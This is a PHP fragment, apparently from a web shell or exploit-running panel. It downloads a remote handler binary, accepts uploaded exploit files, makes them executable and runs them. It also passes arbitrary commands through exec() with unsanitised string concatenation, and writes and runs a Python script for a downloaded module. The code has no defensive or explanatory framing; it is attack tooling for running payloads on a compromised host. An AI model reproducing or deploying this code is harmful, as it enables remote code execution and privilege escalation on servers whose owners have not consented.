function execute($action, $exp) { global $path, $handle_url; if (download_module()) { if ($action == "exploit") { if (move_uploaded_file($_FILES["exploit"]["tmp_name"], $path . $exp)) { chmod($path . $exp, 0755); exec($path . "makman --exploit='" . $path . $exp . "'", $output); format_output($output); } else { echo "Failed to Upload. Check the path " . $path . " and set proper permissions."; } } else { if ($action == "command") { exec($path . "makman --command='" . $exp . "'", $output); format_output($output); } } } else { echo "Failed to download the handler from " . $handle_url . ". Download it manually and save it here " . $path . "makman with 'chmod +x'."; } }
function execute_exploit($exp, $scr_e, $pex, $pex_path, $psc_path) { if (download_module($pex, $pex_path)) { move_uploaded_file($_FILES["exploit"]["tmp_name"], $exp); chmod($exp, 0777); if (write_script($scr_e, $psc_path)) { exec("python " . $psc_path, $output); format_output($output); } else { echo "Script '{$psc_path}' wasn't successfully written or not accessible.\nTry creating it manually."; } } else { echo "Failed to download the module.\nDownload it from {$pex} and create it manually here {$pex_path}"; } }